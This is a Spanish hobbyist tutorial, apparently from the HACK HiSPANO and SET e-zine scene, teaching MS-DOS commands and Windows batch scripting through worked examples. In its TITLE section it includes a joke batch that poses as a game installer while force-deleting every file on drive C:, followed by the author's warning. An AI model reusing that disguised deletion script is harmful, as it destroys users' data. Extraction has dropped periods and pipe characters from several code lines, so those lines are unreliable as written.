Aprende a Crear Un Archivo Batch, En 10 Pasos (Nost)
Short Description
Download Aprende a Crear Un Archivo Batch, En 10 Pasos (Nost)...
Description
APRENDE A CREAR UN ARCHIVO BATCH, EN 10 PASOS Creado por Nost Edición y versión PDF por FranRG96
HACK HiSPANO
INTRODUCCIÓN El nivel del texto es bajo-medio, pero tendrías que saber al menos "algo" del MS-DOS para poder "avanzar" en este texto. Sufrí un pequeño problema con el texto, por lo que quizás falte algún que otro punto. Me explico: puede que algunas frases queden así Como has visto, falta un punto al final de la frase :) De todas formas, me he preocupado especialmente de que no falten puntos en los códigos. Otra cosa: no hay ningún acento o eñe en el texto (Nota: Corregido en esta versión). Es por motivos de compatibilidad. Quizás mi UTF8 se os atraviese. También me he preocupado de no excederme de las 79 columnas. Espero que estas precauciones funcionen. Este artículo se supone que debe ser publicado por SET. Me lincharan si ven que lo he publicado en otro sitio... o no. No os asustéis por el tamaño del texto, más de la mitad son ejemplos, listados creados por los propios programas, refritos de otros documentos, etc. De todas formas, os aviso: yo cuando escribo un texto puedo llegar a ser *extremadamente* pesado. Fíjate si el texto es un tostón, que no me lo he leído ni yo, que ya es decir :D Este articulo tiene grandes dosis de humor español y andaluz, así que si te cuesta trabajo entender algún concepto, contact me, contact me... ¿Cómo que "que"? Que me contactes cojones, ¿es que nadie sabe ingles aquí o qué?
ÍNDICE 1) NOCIONES BÁSICAS SOBRE EL MS-DOS a) Comandos principales del DOS DIR CD o CHDIR ECHO COPY MOVE DEL REN MD RD EXIT SET ATTRIB LABEL TITLE TREE MAKECAB EXPAND MORE 2) PROGRAMACION DE ARCHIVOS BATCH a) Un echo sencillo b) Los argumentos c) Redirección simple d) Alias e) Más redirección Redireccionador > Redireccionador >> Redireccionador < Redirecionador | f) Comando IF IF EXIST Archivo comando IF NOT EXIST Archivo comando IF [NOT] %1=Parámetro comando IF [NOT] Variable=Valor comando IF [NOT] ERRORLEVEL Número comando Estructuras IF g) Etiquetas y GOTO h) Lo importante es poder elegir i) Comando FOR j) Otras órdenes REM y los comentarios START
3) EJEMPLOS a) Ejemplo 1 b) Ejemplo 2 c) Ejemplo 3 d) Ejemplo 4 4) APÉNDICE a) TIPS de cómo usar el intérprete de comandos y el batching b) ARCHIVOS EXTRAÑOS que nadie debería conocer CON NUL LPTx COMx AUX PRN c) CARACTERES EXTRAÑOS que hacen cosas raras d) FUNCIONES INDOCUMENTADAS DEL DOS, o las cosas que no debieron salir de Microsoft. TRUENAME (NO funciona en NT) COMMAND IF (no estoy seguro si funciona en NT… supongo que sí) VER /R (NO funciona en NT) FORMAT AUTOTEST (NO funciona en NT)) FORMAT /U (SÍ funciona en NT, según lo que entiendan por “funcionar”) FORMAT /Z (NO funciona en NT, ya hay otra función documentada) DIR, (NO funciona en NT) DEL. (SIIIIII funciona en NT) 5) NOTA SENTIMENTAL Estaréis de acuerdo conmigo en que el diseño del índice es una mierda, ¿verdad?
1) NOCIONES BÁSICAS SOBRE EL MS-DOS Bueno, antes de empezar con la "chicha" del artículo, tendremos que hablar del MS-DOS, inevitablemente. Si no lo conoces a él o a su funcionamiento, poco podrás programar. Si ya conoces el MS-DOS, sáltate esta sección, porque realmente no aprenderás nada nuevo. Espero que comprendas que para abrir un intérprete de comandos, debes pulsar para Windows 9x (95, 98, Me): Inicio > Ejecutar... > command.com Y para la familia NT (NT, 2k, XP, 2k3): Inicio > Ejecutar... > cmd.exe
a) Comandos principales del DOS Para introducir estos comandos, hay que escribir el comando y luego pulsar Enter. Para obtener ayuda, hay que escribir "nombredelcomando /?", sin las comillas, evidentemente.
DIR Genera una lista con los archivos de la carpeta. Ejemplo: Z:\>dir El volumen de la unidad Z es Nost El número de serie del volumen es: 8408-2412 Directorio de Z:\ 28/10/2006 15:35 28/10/2006 15:35 21/10/2006 20:56 5.253.290 Actualizado.txt 24/10/2006 15:49 Archivos de programa 28/10/2006 14:59 597 Creación de archivos Batch.txt 14/10/2006 23:22 deCFS 15/10/2006 00:54 Discos 14/10/2006 23:25 Documentos 15/10/2006 14:51 Documentos sueltos 15/10/2006 11:47 Haxor 22/10/2006 01:19 Imágenes de CD 20/10/2006 00:38 Imágenes sueltas 22/10/2006 02:22 Instaladores 28/10/2006 14:37 24 irs.txt 22/10/2006 08:08 Juegos 23/10/2006 17:12 Mi música 25/10/2006 20:22 Móviles 14/10/2006 23:28 Música suelta 21/10/2006 10:01 Partidas guardadas
27/10/2006 15:05 26/10/2006 17:06 23/10/2006 23:13 22/10/2006 22:25 15/10/2006 12:22 6 archivos 20 dirs
Programas sueltos SET Temporales 12.739 Visual Hacker 98.txt Videos 5.268.505 bytes 804.700.160 bytes libres
CD o CHDIR Cambia el directorio actual, es decir, con el que estamos trabajando. Su funcionamiento es: cd nombre del directorio. Ejemplo: Z:\>cd Imágenes de CD Z:\Imágenes de CD> Para comprobar si lo hemos hecho bien, siempre nos quedara DIR ;) Z:\Imagenes de CD>dir El volumen de la unidad Z es Nost El número de serie del volumen es: 8408-2412 Directorio de Z:\Imágenes de CD 22/10/2006 01:19 22/10/2006 01:19 10/09/2006 22:29 788.886.672 CT3.mdf 10/09/2006 22:29 2.850 CT3.mds 12/09/2004 23:55 1.618.176 Sims2.MDF 12/09/2004 23:55 486 Sims2.MDS 4 archivos 790.508.184 bytes 2 dirs 805.019.648 bytes libres ¡Perfecto!
ECHO Muestra un texto en la pantalla. Funcionamiento: echo texto a mostrar. Ejemplo: Z:\Imagenes de CD>echo Esto es una prueba Esto es una prueba Otra forma es ECHO OFF, esto hace que los comandos que se van ejecutando de un archivo batch, no se muestren en pantalla. Para usarlo, hay que ponerlo como primera línea del archivo, o por lo menos, desde el momento en el que quieres que dejen de verse los comandos. ECHO ON hará que vuelvan a aparecer los comandos que se ejecutan. Si lo que se quiere es que un comando puntual no se muestre, se añade @ al principio: @copy archivo1 archivo2
Por lo tanto, es recomendable en vez de poner ECHO OFF, poner @ECHO OFF. La mayoría de los batch empiezan con esa línea. Mucha gente hace la misma pregunta: ¿cómo poner una línea en blanco? Hay varias maneras de hacer esto. La principal es: echo. Pero hay más: echo, echo: echo; echo[ echo] echo( echo) echo/ Aun así hay muchos más, aunque creo que con te aprendas una de ellas... COPY Copia un archivo. Funcionamiento: copy archivodeorigen.ext archivodedestino.ext. Recuerda: si el archivo contiene espacios, entrecomilla los nombres. copy "Archivo de origen.extension de archivo" "Archivo de destino.idem"
MOVE Mueve un archivo. Funcionamiento: move archivodeorigen.ext archivodedestino.ext. Realmente el funcionamiento de este comando es equivalente copiar el archivo en la nueva ubicación, y luego eliminar el anterior.
DEL Elimina un archivo. Funcionamiento: del nombredearchivo.ext.
REN Renombra un archivo. Funcionamiento: ren nombreoriginal.ext nombrecambiado.ext.
MD Crea una carpeta. Funcionamiento: md nombredecarpeta.
RD Elimina una carpeta. Funcionamiento: rd nombredecarpeta.
EXIT Sale del programa. Funcionamiento: exit va solo, sin argumentos. Hace que el archivo batch acabe, aunque haya más comandos después. También acepta un argumento muy importante: exit /b Si lo usas, la ventana MS-DOS sólo se cerrara si invocaste el archivo batch desde el explorador de Windows. Si lo llamaste desde cmd.exe, la ventana no se cerrara, lo que es una ventaja. Espero haberme explicado bien.
SET Maravillosa E-Zine, y comando que establece y muestra las variables de entorno. Funcionamiento: para ver las variables a las que ya se les ha dado un valor, escribe SET sin parámetros: C:\>set ALLUSERSPROFILE=C:\Documents and Settings\All Users APPDATA=C:\Documents and Settings\Administrador\Application Data CLASSPATH="o\QTJava.zip" CLIENTNAME=ConsoleCommonProgramFiles=Z:\Archivos de programa\Archivos comunes COMPUTERNAME=NOSTComSpec=C:\WINNT\system32\cmd.exe HOMEDRIVE=C: HOMEPATH=\Documents and Settings\Administrador LOGONSERVER=\\NOST NUMBER_OF_PROCESSORS=1 OS=Windows NT Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\System32\Wbem;C:\Archivos programa\ATI Technologies\ATI Control Panel PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.TXT;.CAB PROCESSOR_ARCHITECTURE=x86 PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 2, AuthenticAMD PROCESSOR_LEVEL=6 PROCESSOR_REVISION=0602 programfiles=C:\Archivos de programa PROMPT=$P$G QTJAVA="o\QTJava.zip" root=c:\ SESSIONNAME=Console SystemDrive=C: SystemRoot=C:\WINNT TEMP=C:\DOCUME~2\ADMINI~1\CONFIG~1\Temp TMP=C:\DOCUME~2\ADMINI~1\CONFIG~1\Temp USERDOMAIN=NOST USERNAME=Administrador USERPROFILE=C:\Documents and Settings\Administrador windir=C:\WINNT
de
Si solo quieres ver el contenido de una variable, se escribe sola, después de set: C:\>set PROCESSOR_IDENTIFIER PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 2, AuthenticAMD Si lo que quieres es modificar una variable de entorno, o crear una nueva, se usa así: set variable=valor. Pongamos un ejemplo: C:\>set variable=valor No me lo he currado mucho :) ahora ponemos set, y vemos el resultado: C:\>set ALLUSERSPROFILE=C:\Documents and Settings\All Users APPDATA=C:\Documents and Settings\Administrador\Datos de programa ...me lo salto... USERPROFILE=C:\Documents and Settings\Administrador variable=valor Opciones de Carpeta >
Ver > Mostrar todos los archivos y carpetas ocultos (Si usas W9x, en vez del Menú > Herramientas, es el Menú > Ver). Nombre completo: Hidden (Oculto). R: El archivo es de solo lectura, aunque eso no impedirá que se cambie el contenido, simplemente se ponen más impedimentos. Nombre completo: Read-Only (Solo lectura). Para cambiar un atributo: attrib archivo +atributoaa~adir –atributoaquitar. Ejemplo: Z:\>attrib Desktop ini +R -S -H Los atributos ya se han cambiado, si pones attrib veras el resultado: Z:\>attrib A R
Z:\Desktop.ini
Para devolverlo a su estado original: Z:\>attrib Desktop ini -R +S +H Como puedes ver, se pueden cambiar varios atributos a la vez.
LABEL Cambia la etiqueta de volumen de un disco. Funcionamiento: escribe label sin parámetros para conocer la etiqueta y tener la opción de cambiarla: C:\>label El volumen de la unidad Z: es Nost El número de serie del volumen es 8408-2412 Escriba una etiqueta de volumen (Entrar para ninguna) Si le metes un argumento, este será la nueva etiqueta de volumen de la unidad actual: C:\>label Chúpame el huevo izquierdo Recuerda que solo NTFS admite más de 11 letras en la etiqueta.
TITLE Cambia el título de la ventana MS-DOS. Funcionamiento: title título de la ventana. Por ejemplo: @echo off title Programa al que *NUNCA* se le ocurriría borrar tus archivos y carpetas c: echo Espera mientras el InstallShield te instala un juego para mear y no echar gota del * /f /s /q exit Espero no tener que avisar que ejecutar ese programa podría dañar seriamente la integridad de tus ficheros.
TREE Muestra el árbol de directorios. Funcionamiento: tree sin parámetros, muestra todo lo que haya dentro de la carpeta donde estás y todas las subcarpetas: Z:\SET>tree Listado de rutas de carpetas para el volumen Nost El número de serie del volumen es 71F4E346 8408:2412 Z: +---set +---saquea1 +---saquea10 +---saquea11 +---saquea2 +---saquea3 +---saquea4 +---saquea5 +---saquea6 +---saquea7 +---saquea8 +---saquea9 +---saq con +---set12 +---set13 +---set14 +---set15 +---set16 +---set17 +---SET17 +---set17 +---set17 +---set18 +---WINNT +---Profiles +---Administrator +---Desktop +---set18 +---set19 +---set19 +---set19 +---freecad +---ejemplos +---cadenas +---pavcl +---scan +---tbscan +---files
+---iconos +---psx +---scards +---set20 +---set20 +---cabina +---set21 +---sch +---set22 +---digital +---set23 +---set24 +---set25 +---set26 +---set27 +---set28 +---set29 +---set30 +---set31 +---set32 +---set33 TREE /f es un argumento para que TREE te muestre los archivos: Z:\SET>tree /f Listado de rutas de carpetas para el volumen Nost El número de serie del volumen es 71F4E346 8408:2412 Z: set[1].7z.001 set[1].7z.002 set[1].7z.003 +---set +---saquea1 SAQUEA1 TXT +---saquea10 FREQS TXT SAQ10 TXT +---saquea11 SAQUEA11 TXT +---saquea2 SAQUEA2 TXT +---saquea3 SAQ3 TXT +---saquea4 FILE ID DIZ SAQUEA4 TXT
+---saquea5 SAQUEA5 TXT ...pedazo listado que me salto para no hacerlo pesado... +---set32 0x00 txt 0x01 txt 0x02 txt 0x03 txt 0x04 txt 0x05 txt 0x06 txt 0x07 txt 0x08 txt 0x09 txt 0x0A txt 0x0B txt 0x0C txt 0x0D txt 0x0E txt 0x0F txt 0x10 txt 0x11 txt +---set33 0x00 txt 0X01 TXT 0X02 TXT 0X03 TXT 0X04 TXT 0X05 TXT 0X06 TXT 0X07 TXT 0X08 TXT 0X09 TXT 0X0A TXT 0X0B TXT 0X0C TXT 0X0D TXT 0X0E TXT 0X0F TXT Este comando puede llegar a ser muy interesante...
MAKECAB Comprime uno o varios archivos, al formato Microsoft Cabinet (.cab). Funcionamiento: makecab archivoacomprimir archivocomprimido.
Imagina que hemos mirado con un dir que hay un archivo... lo digo porque tiene que existir. Bueno, pues, para comprimirlo: Z:\>makecab "Visual Hacker 98.txt" "Visual Hacker 98.cab" Microsoft (R) Cabinet Maker - Version 5.1.260.90 Copyright (c) Microsoft Corporation. All rights reserved. 100.00% [flushing current folder] Z:\> Tres observaciones: 1: El nombre de archivo comprimido puede ser el que quieras, puedes poner la extensión que te dé la gana. 2: Como con todos los comandos del MS-DOS, si el archivo incluye espacios, se ha de poner entre comillas. 3: Si no quieres leer todo ese rollazo del copyright, incluye detrás del comando el parámetro >nul Z:\>makecab "Visual Hacker 98.txt" "Visual Hacker 98.cab" >nul Z:\> Miremos el nuevo tamaño del archivo: 29/10/2006 23:19 22/10/2006 21:25
5.605 Visual Hacker 98.cab 12.739 Visual Hacker 98.txt
Hombre, realmente este sistema de compresión no es "la leshe", pero como apaño va bien. La compresión en textos es perfecta... pero no tanto en otros tipos de archivo. 29/10/2006 23:24
5.466 Visual Hacker 98.7z
Realmente, no es tanta diferencia. Puse el 7z en Ultra así que para textos el cab es bueno, después de todo.
EXPAND Bueno, pues aquí está el "hermano" del makecab, el expand. Funcionamiento: expand nombrearchivocomprimido nuevoarchivodescomprimido. Por ejemplo: expand "Visual Hacker 98.cab" "Visual Hacker 98-2.txt" He cambiado el nombre para no tener que sobrescribir el archivo anterior. Si todo ha ido bien, tiene que haberse descomprimido con el nuevo nombre.
MORE Con este programa y una buena redirección, todo funciona sin montar un follón. Por ejemplo, en un directorio muy grande un dir puede ser infernal. Sin embargo: dir more
Sacará la información por pantallas. También lo puedes usar para archivos: more < archivo Más información sobre esos extraños operadores de redirección, dentro del propio texto. Creo que con este listado ya es más que suficiente. Ya hay comandos de sobra para empezar, pero si quieres más (más, más, MÁSSS) siempre te queda el comando HELP. Por cierto, hay más explicaciones de comandos en los apéndices.
2) PROGRAMACIÓN DE ARCHIVOS BATCH Bueno, empecemos. Recuerda que los archivos batch (o archivos por lotes, pero prefiero lo de archivos batch) son archivos que contienen comandos ejecutables separados por un salto de línea. Sencillo. Evidentemente, esos programas deben existir en tu ordenador. Si los escribes bien, podrás realizar tareas complejas sin necesidad de tener que escribir todos los comandos uno a uno. Sencillo. Puedes usar cualquier programa editor de texto para realizar un archivo batch, pero recuerda que deben ser codificados como texto plano, así que te recomiendo el Bloc de Notas. Comencemos a programar algo sencillo. Aunque a veces hablare de los batch como programas, realmente no lo son, los batch necesitan un programa que ejecutar, y como mínimo un intérprete de comandos (léase: cmd.exe o command.com, aunque hay intérpretes de terceros de los que no hablaremos.
a) Un echo sencillo El primer batch, será fácil y rápido. Consistirá en un programa que te dirá "Hola". Es muy original. Abre el Bloc de Notas, y escribe: echo Hola Pulsa Archivo, y luego Guardar. En "Tipo de archivo" selecciona "todos los archivos" y en nombre de archivo pon "%systemroot%\system32\hola.bat". Entra en el símbolo de sistema, y escribe hola. Recibirás esta respuesta, si lo has hecho bien: C:\Documents and Settings\Administrador>hola C:\Documents and Settings\Administrador>echo Hola Hola ¡Perfecto!
b) Los argumentos Vamos a personalizar el programa. Todavía no habrás cerrado el Bloc de Notas, ¿¿¿¿verdad???? jejeje... recuerda dónde lo guardaste. Vuelve a abrirlo, y cambia lo que tienes por: echo Buenos días, %1! Guarda, y ejecuta el programa escribiendo: hola Takeshi El programa te responderá: C:\Documents and Settings\Administrador>hola Takeshi C:\Documents and Settings\Administrador>echo Buenos días, Takeshi! Buenos días, Takeshi! ¡Asombroso! Hemos avanzado un poco en los argumentos, pero no lo suficiente. Crea un archivo batch, como lo hemos hecho antes, pero ahora con el nombre "%systemroot%\system32\argumnts.bat" con las siguientes líneas: @echo off echo EN ORDEN: %1 %2 %3 %4 echo INVERTIDOS: %4 %3 %2 %1 echo MEZCLADOS: %2 %1 %4 %3 Guárdalo, y en el símbolo del sistema, escribe: argumnts hola windoze juan perro Y responde: C:\Documents and Settings\Administrador>argumnts hola windoze juan perro EN ORDEN: hola windoze juan perro INVERTIDOS: perro juan windoze hola MEZCLADOS: windoze hola perro juan ¡Impresionante!
c) Redirección simple ¿Recuerdas el comando dir? Con este programa puedes saber los archivos de un directorio. Pero, ¿qué pasa si quieres, de una forma rápida, obtener una lista de archivos en un archivo? Escribe en el símbolo: dir > c:\salida.txt
Aparentemente no ha ocurrido nada, pero, si entras en Mi PC, luego en "Disco local (C:)" y abres el nuevo archivo "lista.txt", aquí tienes el contenido: El volumen de la unidad C es Nost El número de serie del volumen es: 8408-2412 Directorio de C:\Documents and Settings\Administrador 28/10/2006 17:00 28/10/2006 17:00 14/10/2006 15:10 240.642 .fonts cache-1 26/10/2006 18:35 .gimp-2.0 14/10/2006 15:16 .thumbnails 24/09/2006 19:58 CFS 15/10/2006 16:14 Configuración local 26/10/2006 07:33 Escritorio 22/10/2006 03:33 Favoritos 22/10/2006 07:39 Menú Inicio 26/10/2006 16:06 Mis documentos 18/09/2006 09:57 WINDOWS 7 archivos 248.130 bytes 11 dirs 803.950.592 bytes libres ¿No querías una lista? Aquí la tienes. Bueno, eso sirve para todos los comandos que muestran una salida por pantalla. También puedes añadir un archivo a otro. Escribe: copy /? >> c:\salida.txt Cierra el archivo, y vuelve a abrirlo. El archivo ha cambiado. Copia uno o más archivos en otra ubicación ;) COPY [/V] [/N] [/Y a /-Y] [/Z] [/A a /B ] origen [/A a /B] [+ origen [/A a /B] [+nost]] [destino [/A a /B]] Origen: Especifica el archivo o archivos que deben copiarse… (UNA PEXA DE AYUDA QUE ME SALTO) …varios archivos de origen (usando caracteres comodines o el formato archi... Bien, hemos aprendido algo más.
d) Alias Alias, esa gran serie de Cuatro, también nos puede ayudar usando el símbolo del sistema. Cuando escribes: notepad salida.txt Conseguirás abrir con el bloc de notas el famoso archivo que acabábamos de crear.
Pero si quieres hacer la tarea más sencilla (más sencillo que eso... :?) puedes hacer un archivo "c:\windows\system32\np.bat" con las líneas: @echo off notepad %1 Eso hace que el bloc de notas (notepad, es su nombre de aplicación) abra el archivo que se le ha pasado como argumento (%1) ¿Porque recuerdas los argumentos, no? Ahora, en vez de escribir notepad nombredearchivo para abrirlo, necesitaras escribir solo: np nombredearchivo ¡Extraordinario!
e) Más redirección Aunque de los dos primeros redireccionadores ya hemos hablado, hagámoslo de nuevo... (sois unos mal pensados).
Redireccionador > Primero, explicar que es la salida de un programa... si escribes "dir" en la consola, te sacara una lista de archivos. Y si escribes "help", te mostrara una lista de programas ejecutables desde el símbolo del sistema. En todo caso, los dos textos que salen al ejecutar un programa son lo que se llama "salida de un programa". Si quieres que la salida de un programa se escriba a un fichero, > es tu operador. Y se usa así: comando > fichero Por ejemplo, si quieres un listado de archivos de la carpeta actual en el archivo "lista.txt", escribe: dir > lista.txt Y ahí lo tienes. Si el archivo de salida ya existía, será sobrescrito. Redireccionador >> Este redireccionador es exactamente igual que el >, pero en el caso de que el archivo de salida ya exista, no lo borra, sino que la salida se añade al final de dicho fichero. Y ya sé que no me he explicado bien.
Redireccionador < Este redireccionador la verdad es que no tengo ni puta idea de cómo se usa, pero intentare explicarlo. Se supone que si el redireccionador > manda la salida de un programa a un fichero, el redireccionador < manda un fichero a un programa. Yo tampoco lo entiendo. El único programa que yo conozco que sea compatible con este redireccionador es "debug", un programa que era muy útil pero ya no lo es tanto, solo para emergencias :( Paséate por ese programa si quieres, yo tampoco se usarlo. Ah, y "more", también es compatible. Redireccionador | Bueno, este si es útil. Este hace que un programa se encargue de la salida de otro programa. Verás: programa1 | programa2 ...es equivalente a... programa1 > archivo programa2 < archivo Esto es especialmente útil con el comando more, explicado más arriba.
f) Comando IF Vamos por algo mas complicado... el comando if verifica una condición, si se cumple ejecuta un comando, y si no, ejecuta otro.
IF EXIST archivo comando ¿Recuerdas el programa de antes? Añadir esta línea: IF EXIST info.txt DEL info.txt Es muy interesante, si no quieres que se acaben apelotonando los datos, y que el archivo acabe ocupando medio disco duro.
IF NOT EXIST archivo comando Ejemplo: IF NOT EXIST info.txt EXIT Con esta línea, si no existe info.txt se acabara el proceso por lotes. Esto puede ser útil si la línea siguiente incluye, por ejemplo:
notepad info txt copy info.txt a:\ ren info.txt info01.txt
// Abrir info.txt con el Bloc de Notas // Copiar archivo info.txt a el diskette a: // Renombrar info.txt a info01.txt
Si vas a crear un batch a partir de esto, ¡CORTA LA LINEA A PARTIR DEL "//"!
IF [NOT] %1=parámetro comando Esto sirve para comprobar si un parámetro es igual a un valor, y así poder ejecutar un comando en consecuencia. Evidentemente, se pueden poner varios parámetros (%2, %3... recuerda lo aprendido en el paso 2). Ejemplo: if %1==quake "C:\archivos de programa\quake iii arena\quake3.exe" if %1==bloc notepad.exe if %1==calculadora calc.exe
IF [NOT] variable=valor comando Con esto se confirma una variable de entorno. Ejemplo: if %OS%==Windows NT echo El sistema operativo es NT Recuerda que también se puede usar el comando IF NOT: if %OS%==Windows NT setupNT.exe if not %OS%==Windows NT setup9x.exe
//Si es NT, ejecutar setupNT.exe //Y si no es NT, ejecutar setup9x.exe
Este comando es realmente interesante y útil.
IF [NOT] ERRORLEVEL número comando Esto evalúa el último errorlevel presente. Los errorlevel son números generados por los programas que informan cómo han terminado su ejecución. Por ejemplo, el comando format (que sirve para formatear una unidad de disco, como su nombre indica) devuelve el código errorlevel 3 cuando se ha finalizado pulsando Ctrl-C, y el errorlevel 0 cuando acaba normalmente. No todos los programas devuelven un errorlevel, y los errorlevel se borran cuando se ejecuta otro programa.
Estructuras IF Bueno, el titulo no enseña muy bien lo que es. if exist info.txt ( del info txt echo Archivo eliminado
) else if exist informe.txt ( del informe txt echo Archivo eliminado ) else ( echo No existía el archivo ) Si alguna vez tuviste que programar en C, seguro que te suena lo de los paréntesis... pero con corchetes {}. Creo que las estructuras if son más sencillas, sobre todo en caso de que necesites varias comprobaciones IF. Espero no tener que avisar que se pueden poner varios tipos de IF a la vez, EXIST, VARIABLE y ERRORLEVEL. ¡Ah! y al igual que en los C, se puede poner una estructura IF dentro de otra. Esto funcionaria: if exist info.txt ( del info.txt if exist info2.txt ( del info2.txt echo Archivo no. 2 eliminado ) else if exist informe2.txt ( del informe2.txt echo Archivo informe no. 2 eliminado ) else ( echo No existía el archivo 2 ) echo Archivo eliminado ) else if exist informe.txt ( del informe.txt echo Archivo eliminado ) else ( echo No existía el archivo )
g) Etiquetas y GOTO Las etiquetas se usan para identificar una línea del archivo batch. Una etiqueta es muy fácil de colocar: :etiqueta Para saltar a una etiqueta, se usa GOTO: goto etiqueta Y ya está: REM Si el archivo ya existe, ir a "error". if exist a:\copia goto error
REM Si no existe, no se ha saltado de posición, así que la copia continua. copy c:\copia a:\copia REM Una vez concluida la copia, ir a la etiqueta FIN. Si eso no se hiciera, el mensaje "El archivo ya existe" se mostraría incluso en el caso de que todo fuera bien. goto fin REM Etiqueta que delimita el mensaje de error. :error REM El susodicho mensaje de error. echo El archivo ya existe! REM Etiqueta que delimita el final del archivo. :fin REM Fin del programa. exit
h) Lo importante es poder elegir ¿Alguna vez has visto uno de esos menús en modo texto tan (poco) intuitivos? ¡Ahora, con el Visual Batcher 2007 puedes hacer uno! ;D Gracias al tremendo ingenio de la gran compañía de nuestro amigo Billy, en Windows NT ya no disfrutamos del comando choice. Este comando realmente simplificaba la tarea de hacer menús de elección. Las líneas que empiezan por rem, son los comentarios. @echo off rem Hace los comandos invisibles, así es más intuitivo. :menu rem Especifica una etiqueta al principio, ahora veras para que sirve. echo. rem Línea en blanco, lo siguiente es el menú. No comentado. echo MENU echo 1) Abrir el WordPad echo 2) Abrir el Bloc de Notas echo 3) Abrir la Calculadora echo. echo S) Salir echo. set eleccion= rem Crea una variable "elección" vacía, aunque creo que es innecesario :( set /p elección=Haz tu elección: rem MUY IMPORTANTE: Para que no se junten la pregunta y la respuesta, pon un espacio al final de esta última pregunta. Aunque no se vea, es útil. Pide la elección. if "%eleccion%" == "1" write if "%eleccion%" == "2" notepad if "%eleccion%" == "3" calc rem Hace la elección. if /I "%eleccion%" == "s" goto end rem Si se elige s, se va a la última etiqueta. goto :menu
rem Si no se elige ninguna opción, no se saltara de etiqueta ni se saldrá del programa, por lo que volverá al principio del archivo. :end rem Fin Por el público se escucha un QUEEEEEEEEEEEE generalizado, lo siento, no sé explicarlo mejor.
i) Comando FOR For, faib... ¡Qué pasa, familia! Grftjx... Creo que tendré que doblar la dosis de Prozac. Bueno, a lo que íbamos: ahora vamos a ver el comando for. El comando for no suele ser realmente el más usado, pero a veces es justo lo que necesitas. El comando for hace que una variable cambie su valor entre las posibilidades que tú le des, y ejecuta un comando cada vez que el valor cambie. Confundido, ¿eh? Jeje... Su sintaxis es: FOR %%A IN (lista de valores) DO comando Donde %%A es el nombre de la variable. (Lista de valores) simplemente es la lista de valores entre los cuales la variable %%A cambiará. Los diferentes valores se separan con un espacio en blanco. IMPORTANTE: Las variables de FOR no son equivalentes a las variables de entorno. Una vez que acabe el comando FOR, las variables se perderán. Veamos un ejemplo: FOR %%B IN (Buenos Días Hacker) DO ECHO %%B Esto hará que la variable %B cambie su valor. La primera vez será Buenos, la segunda vez será Días y la tercera, Hacker. Cada vez que %B cambia, el comando después de la palabra DO (ECHO %B en el ejemplo) se ejecuta. Así que esta línea de código escribirá en nuestra pantalla: Buenos Días Hacker Siempre y cuando y hayas puesto el respectivo "@echo off" al inicio. Hay algo más importante para lo que puede servir for: FOR %%A in (*2006 txt) DO copy %%A c:\backup Esto te servirá para copiar los siguientes archivos a c:\backup: 13-14-2006.txt
Ventas 2006.txt Tareas a realizar en el 2006.txt Personas a las que denegué la admisión en el 2006.txt O algo así. Pensaras que escribir: copy *2006.txt Sería exactamente lo mismo, bueno... no te equivocas. Sin embargo, te servirá para programas que no aceptan comodín, como expand, que descomprime archivos cabinet. ********ATENCIÓN: ¡¡¡¡¡¡¡¡¡¡NINONINONINONINONINONI!!!!!!!!!!******** Tonterías aparte, como he explicado antes, el nombre de variable es %%A, %%B, %%C... pero si vas a escribir el comando en el símbolo del sistema, quiero decir, no lo vas a incluir en un archivo batch, tienes que poner un solo símbolo de porcentaje (%): FOR %A IN (lista de valores) DO comando Hombre, se me olvida que esto es un curso de batching ;P
j) Otras órdenes REM y los comentarios Para comentar una línea completa, podrías usar REM al principio, como en el ejemplo del apartado 2H. También podrías hacer esto: : comentario Parece que habiendo hecho esto, lo que consigues es añadir una etiqueta. Pues te equivocas, porque el MS-DOS, al ver que a los dos puntos le sigue un espacio, interpreta que la etiqueta no es válida. goto comentario goto comentario Si esos dos comandos fueran distintos, :comentario y : comentario serian diferentes, pero recuerda que el MS-DOS piensa que las siguientes líneas son iguales: copy c:\archivo.txt a:\ copy c:\archivo.txt a:\ copy c:\archivo.txt a:\ copy c:\archivo.txt a:\ copy c:\archivo.txt
a:\
Ya te imaginas lo que quiero decir.
START Cuando llamas a un .exe o a un .bat desde tu propio archivo batch, la ejecución de tu programa queda pausada. Una vez finalizado el proceso del programa, continúa la ejecución del batch. Si no quieres que sea así, puedes usar la orden START antes del nombre del programa: start notepad Esto iniciara el bloc de notas, y este último funcionara a la vez de nuestro archivo batch. No lo entiendes, ¿verdad? notepad exit Con ese archivo batch, se iniciará el bloc de notas, pero la ventana del intérprete de comandos MS-DOS no se cerrará hasta que se cierre el bloc de notas. Sin embargo, en este caso: start notepad exit Se ejecutará la instrucción exit antes de que se cierre el proceso del bloc de notas.
3) EJEMPLOS Bueno, seguro que estabas esperando algún ejemplo para sentirte más realizado, y usarlo de plantilla... ¡Pues aquí estoy yo para ayudarte! Empowering yourself, o algo así... Cada línea rem comenta a la(s) anterior(es).
a) Ejemplo 1 Un informe completo netstat. batch\netstat.bat @echo off title Informe: Netstat + PID + ip rem >>>Cambiar el título de la ventana echo -- Netstat + PID + ip 1.0 echo. if exist %temp%\informe.txt ( rem >>>Si existe informe.txt echo Borrando archivo antiguo del %temp%\informe.txt rem >>>Se borra echo Continuando el proceso echo.
) else ( rem >>>Y en caso contrario... echo. rem >>>No se hace nada. ) echo - Generando netstat -a -o... netstat -a -o > %temp%\informe.txt rem >>>Crea un informe netstat -a -o y lo guarda con ese nombre echo - Generado con exito. echo. echo - Generando netstat -a -o -n... echo. >> %temp%\informe.txt echo. >> %temp%\informe.txt rem >>>Crea dos líneas en blanco y las guarda en el archivo echo --- IPs y puertos en formato numérico: >> %temp%\informe.txt netstat -a -o -n >> %temp%\informe.txt rem >>>Anexa al contenido de informe.txt un netstat -a -o -n echo - Generado con éxito. echo. echo - Abriendo con notepad... echo - Esperando respuesta del usuario... call notepad %temp%\informe.txt rem >>>Llama al Bloc de Notas, con el contenido del archivo. rem >>>Hasta que no se cierre el Bloc, no se continua. rem >>>Esto es así para que no quede un informe.txt residual, en %temp%. echo echo - Eliminando... del %temp%\informe.txt rem >>>Se supone que se ha acabado de ver, así que se borra el informe. echo ¡Tarea completada! exit
